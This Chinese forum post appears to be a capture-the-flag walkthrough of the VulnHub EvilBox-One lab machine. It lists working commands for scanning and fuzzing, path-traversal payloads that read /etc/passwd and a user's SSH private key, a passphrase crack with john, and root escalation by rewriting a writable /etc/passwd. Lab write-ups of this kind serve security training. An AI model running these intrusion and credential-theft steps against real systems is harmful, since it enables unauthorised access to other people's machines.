电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 521 人浏览分享

一起来打靶:Evil-Box靶场实战详解

[复制链接]
521 0
一、前言提要

靶机地址:https://download.vulnhub.com/evilbox/EvilBox---One.ova

难度等级:低→中

打靶目标:取得 root 权限 + 2 Flag

这是二珂选择让大家一起来打靶的第一个的靶机,虽然难度属于中低级别,但这样的靶机对于初学者学习更加有益
我个人感觉该靶机的打靶过程还是蛮有趣的。该靶机的边界突破和提权方法都非常具有新意,与我们以往的打靶过
程非常不同,可以很好的扩展渗透思路和补强个人能力的短版。这样的靶机对于初学者学习更加有益。

QQ截图20220621154835.png

1.1靶机环境配置

将kali和靶机镜像放置同一个网段,靶机和kali均如下配置

QQ截图20220621154940.png

QQ截图20220621155006.png

二、本次使用工具介绍

2.1fping

fping命令 fping类似于ping,但比ping强大。与ping要等待某一主机连接超时或发回反馈信息不同,fping给一个
主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping,fping还可以在命令行中指定要ping
的主机数量范围。

参数:

-a  # 显示存活的主机
-b  # ping 数据包的大小。(默认为56)
-c  # ping每个目标的次数 (默认为1)
-f  # 从文件获取目标列表(不能与 -g 同时使用)
-l  # 循环发送ping
-g  # 通过指定开始和结束地址来生成目标列表,可以使网段
-u  # 显示不可到达的目标

2.2Gobuster

Gobuster是一个可以对目标网址进行目录扫描的工具,它大概总共有四种模式:dir模式、dns模式、vhost模式、s3模式
我感觉他用起来比dirb要快很多,而且可调控的参数比较多,所以功能方面远比dirb和dirsearch要强大的多,所以比较建
议扫描目录使用这个工具。

dir - 经典的目录暴力破解模式

dns - DNS 子域暴力破解模式

s3 - 枚举打开的 S3 存储桶并查找存在和存储桶列表

vhost - 虚拟主机暴力破解模式(与 DNS 不同!)

常用Dir模式

gobuster dir-u https://example.com -t 50 -w /usr/share/wordlists/dirb/big.txt -x php,html,asp,txt

gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/big.txt -t 50

2.3FFuf

Go语言编写的高速Web Fuzzer,一个字,快!允许fuzz HTTP header值POST数据和URL的不同部分
包括GET数名称和值;支持静默模式(-s);模块化架构;易于添加的过滤器和匹配器

该工具用途广泛,可用于多种用途:

• 目录发现,可选择在 URL 中的任何位置进行模糊测试。
• 子域名发现
• 使用各种 HTTP 方法进行模糊测试

三、涉及攻击方法

3.1主机发现

└─$ fping -gaq 192.168.147.0/24

QQ截图20220621155407.png

3.2网络扫描

└─$ nmap 192.168.147.134

└─$ sudo nmap -p22,80 -sV -sS 192.168.147.134

QQ截图20220621155450.png

打开web服务页面,居然只是apache的初始页面。

39.png

└─$ gobuster dir -u http://192.168.147.134/ -w /usr/share/seclists/Discov
ery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

进行一波隐藏目录探测,也仅仅探测出来一点点。

38.png

其中的robots.txt在去访问时,界面显示:Hello H4x0r;根据页面显示猜测,后面会不会有需要到
这个用户名的地方,暂时保留信息:H4x0r(虽然后面没有用到)

36.png

我们发现一个新出的目录/secret,去访问的时候发现是一个空白页面,源代码也确实是一片空白;
所以我们尝试进一步探测该目录下的子目录
结果显示探测到一个唯一的新目录/ecil.php,当满怀期待去访问
却再一次发现是一片空白

└─$ gobuster dir -u http://192.168.147.134/secret/ -w /usr/share/seclists/Dis
covery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

30.png

3.3参数爆破

这个时候其他方向也已经没有路可走,目前唯一可想到的线索就只有evil.php页面

所以我们尝试着对evil.php进行参数爆破,通常我们使用Burp,但是这里推荐使用到一个新工具:ffuf

我们手动生成一个小字典,作为参数传入,这些参数都是我们日常测试的时候常用到的

└─$ vi kkboss.txt
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PA
RAM -w kkboss.txt:kk -u http://192.168.147.134/secret/evil.php?PARAM=kk -fs 0

第一次参数爆破失败......继续尝试;我们修改我们的赋值,同时更换字典;据了解在各种各样的漏
洞都存在包含漏洞,所以我们把kk的值修改为一个一定存在的文件:../../../index.html,去继续
尝试爆破参数名

└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-na
mes.txt -u http://192.168.147.134/secret/evil.php?FUZZ=../index.html -fs 0

28.png

恭喜成功迈出一步,此时跑出来了一个command参数,去浏览器确认,可以正常访问;
此时这里存在文件包含引用操作

26.png

3.4文件包含

http://192.168.147.134/secret/evil.php?command=../../../../../../../../etc/passwd

22.png

在该文件下发现一个新用户名:mowree(记下来,后面有用);

此时已经确认存在文件包含漏洞,尝试着远程文件包含,我们在本地构建一句话webshell,

然后进入/var/www/html目录下构造一句话木马,并开启apache服务;再去远程文件包含,但是尝试失败

..../secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
.../secret/evil.php?command=php://filter/write=convert.base64-de
code/resource=test.php&txt=NDU2

21.png

这里可以看到这里直接进行了文件包含,但是还是不能突破边界,我们尝试写入webshell,但是我们不知道
账号是否存在写入权限,我们尝试将一个经过base64编码后的字符写入test.php中,但是去访问时发现写入
失败 所以我们还是回到我们的最初的/etc/passwd中

20.png

3.5任意文件读取

ssh mowree@192.168.147.134 -v

19.png

ssh探测一波发现,不仅可以密码登录还可以公钥登录。如果它支持公钥验证那么在
这个账号下应该存在有这个公钥的内容

/secret/evil.php?command=../../../../home/mowree/.ssh/authorized_keys
/secret/evil.php?command=../../../../home/mowree/.ssh/id_

18.png

我们可以得到mowree这个账号的公钥信息,既然有公钥信息,那岂不是也有私钥信息了并且使
用的rsa算法进行加密的,默认生成的私钥名称为id_rsa

secret/evil.php?command=../../../../home/mowree/.ssh/id_rsa

16.png

3.6SSH公钥登录

└─$ vi id_rsa
└─$ chmod 600 id_rsa
└─$ ssh mowree@192.168.147.134 -i id_rsa

13.png

离线密码破解

└─$ cp /usr/share/wordlists/rockyou.txt.gz .
└─$ gunzip rockyou.txt.gz
└─$ cd /usr/share/john
└─$ ls
└─$ ./ssh2john.py ~/id_rsa > ~/kk
└─$ cd
└─$ ls
└─$ john kk --wordlist=rockyou.txt

12.png

得到id_rsa的密码:unicorn,得到Flag-1

11.png

3.7系统权限漏洞利用

crontab -l  查看一下有没有计划任务
sudo -l     查看一下sudo
uname -a    查看一些内核版本
find / -perm /4000 2>/dev/null   查看一下suid
find / -perm /2000 2>/dev/null
find / -writable 2>/dev/null    查找具有写入权限的文件
find / -writable 2>/dev/null | grep -v proc 过滤一下

发现etc/passwd下的文件居然是可写入的,但是正常情况下只有root权限可以写入

10.png

/etc/passwd的内容.这里存放着所有linux账号的信息和密码,但是出于系统安全性的考虑所有的密
码都被x所替换,而真正的密码存在/etc/shadow中。

既然我们可以修改这个文件,那我们就可以直接把这个x替换掉,开始替换root的密码
首先给root账号生成一个密码。

openssl passwd -1

vi /etc/passwd

9.png

直接su 拿到权限,cd /root目录下成功拿到第二个flag。

8.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.